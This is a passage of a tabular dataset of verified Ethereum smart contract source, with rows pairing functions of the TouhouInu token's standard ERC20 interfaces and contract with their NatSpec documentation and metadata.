contract_name
stringlengths 1
61
| file_path
stringlengths 5
50.4k
| contract_address
stringlengths 42
42
| language
stringclasses 1
value | class_name
stringlengths 1
61
| class_code
stringlengths 4
330k
| class_documentation
stringlengths 0
29.1k
| class_documentation_type
stringclasses 6
values | func_name
stringlengths 0
62
| func_code
stringlengths 1
303k
| func_documentation
stringlengths 2
14.9k
| func_documentation_type
stringclasses 4
values | compiler_version
stringlengths 15
42
| license_type
stringclasses 14
values | swarm_source
stringlengths 0
71
| meta
dict | __index_level_0__
int64 0
60.4k
|
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | transfer | function transfer(address recipient, uint256 amount) external returns (bool);
| /**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
536,
618
]
} | 8,907 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | allowance | function allowance(address owner, address spender) external view returns (uint256);
| /**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
898,
986
]
} | 8,908 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | approve | function approve(address spender, uint256 amount) external returns (bool);
| /**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
1651,
1730
]
} | 8,909 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | transferFrom | function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
| /**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
2044,
2180
]
} | 8,910 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | IERC20Metadata | interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
} | name | function name() external view returns (string memory);
| /**
* @dev Returns the name of the token.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
100,
159
]
} | 8,911 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | IERC20Metadata | interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
} | symbol | function symbol() external view returns (string memory);
| /**
* @dev Returns the symbol of the token.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
227,
288
]
} | 8,912 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | IERC20Metadata | interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
} | decimals | function decimals() external view returns (uint8);
| /**
* @dev Returns the decimals places of the token.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
365,
420
]
} | 8,913 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
} | name | function name() public view virtual override returns (string memory) {
return _name;
}
| /**
* @dev Returns the name of the token.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
817,
922
]
} | 8,914 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
} | symbol | function symbol() public view virtual override returns (string memory) {
return _symbol;
}
| /**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
1037,
1146
]
} | 8,915 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
